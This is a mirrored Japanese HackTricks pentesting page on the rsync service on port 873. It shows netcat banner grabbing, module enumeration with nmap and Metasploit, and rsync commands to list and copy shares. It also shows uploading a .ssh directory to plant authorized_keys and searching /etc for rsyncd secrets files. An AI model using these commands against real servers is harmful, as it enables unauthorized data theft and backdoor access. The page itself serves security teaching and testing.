mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
88 lines
5.0 KiB
Markdown
88 lines
5.0 KiB
Markdown
# 873 - Pentesting Rsync
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## **基本情報**
|
|
|
|
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
|
|
|
> **rsync** は、コンピュータと外部ハードドライブ間、または [ネットワーク化された](https://en.wikipedia.org/wiki/Computer_network) [コンピュータ](https://en.wikipedia.org/wiki/Computer) 間で、ファイルの [変更時間](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) とサイズを比較することによって、効率的に [転送](https://en.wikipedia.org/wiki/File_transfer) および [同期](https://en.wikipedia.org/wiki/File_synchronization) するためのユーティリティです。[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) 一般的に [Unix系](https://en.wikipedia.org/wiki/Unix-like) [オペレーティングシステム](https://en.wikipedia.org/wiki/Operating_system) で見られます。rsync アルゴリズムは [デルタエンコーディング](https://en.wikipedia.org/wiki/Delta_encoding) の一種であり、ネットワーク使用量を最小限に抑えるために使用されます。[Zlib](https://en.wikipedia.org/wiki/Zlib) は追加の [データ圧縮](https://en.wikipedia.org/wiki/Data_compression) に使用されることがあり、[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) [SSH](https://en.wikipedia.org/wiki/Secure_Shell) または [stunnel](https://en.wikipedia.org/wiki/Stunnel) はセキュリティのために使用されることがあります。
|
|
|
|
**デフォルトポート:** 873
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
873/tcp open rsync syn-ack
|
|
```
|
|
## 列挙
|
|
|
|
### バナーと手動通信
|
|
```bash
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
|
|
@RSYNCD: 31.0 <--- Then you send the same info
|
|
#list <--- Then you ask the sever to list
|
|
raidroot <--- The server starts enumerating
|
|
USBCopy
|
|
NAS_Public
|
|
_NAS_Recycle_TOSRAID <--- Enumeration finished
|
|
@RSYNCD: EXIT <--- Sever closes the connection
|
|
|
|
|
|
#Now lets try to enumerate "raidroot"
|
|
nc -vn 127.0.0.1 873
|
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
|
@RSYNCD: 31.0
|
|
@RSYNCD: 31.0
|
|
raidroot
|
|
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
|
```
|
|
### **共有フォルダの列挙**
|
|
|
|
**Rsyncモジュール**は、**パスワードで保護されている可能性のあるディレクトリ共有**として認識されます。利用可能なモジュールを特定し、それらがパスワードを必要とするかどうかを確認するために、次のコマンドが使用されます:
|
|
```bash
|
|
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
|
msf> use auxiliary/scanner/rsync/modules_list
|
|
|
|
# Example with IPv6 and alternate port
|
|
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
|
```
|
|
いくつかの共有がリストに表示されない場合があり、それらが隠されている可能性があることに注意してください。さらに、一部の共有へのアクセスは特定の**資格情報**に制限されている場合があり、**「アクセス拒否」**メッセージで示されます。
|
|
|
|
### [**ブルートフォース**](../generic-hacking/brute-force.md#rsync)
|
|
|
|
### 手動Rsyncの使用
|
|
|
|
**モジュールリスト**を取得した後、アクションは認証が必要かどうかによって異なります。認証がない場合、共有フォルダーからローカルディレクトリへの**リスト**および**コピー**は次のように実行されます:
|
|
```bash
|
|
# Listing a shared folder
|
|
rsync -av --list-only rsync://192.168.0.123/shared_name
|
|
|
|
# Copying files from a shared folder
|
|
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
このプロセスは**再帰的にファイルを転送**し、それらの属性と権限を保持します。
|
|
|
|
**資格情報**を使用すると、共有フォルダーからのリスト作成とダウンロードは次のように行うことができ、パスワードプロンプトが表示されます:
|
|
```bash
|
|
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
|
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
|
```
|
|
コンテンツを**アップロード**するには、アクセス用の_**authorized_keys**_ファイルなどを使用します:
|
|
```bash
|
|
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
|
```
|
|
## POST
|
|
|
|
rsyncd 設定ファイルを見つけるには、次のコマンドを実行します:
|
|
```bash
|
|
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
|
```
|
|
このファイル内で、_secrets file_ パラメータは、rsyncd 認証のための **ユーザー名とパスワード** を含むファイルを指す可能性があります。
|
|
|
|
## 参考文献
|
|
|
|
- [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|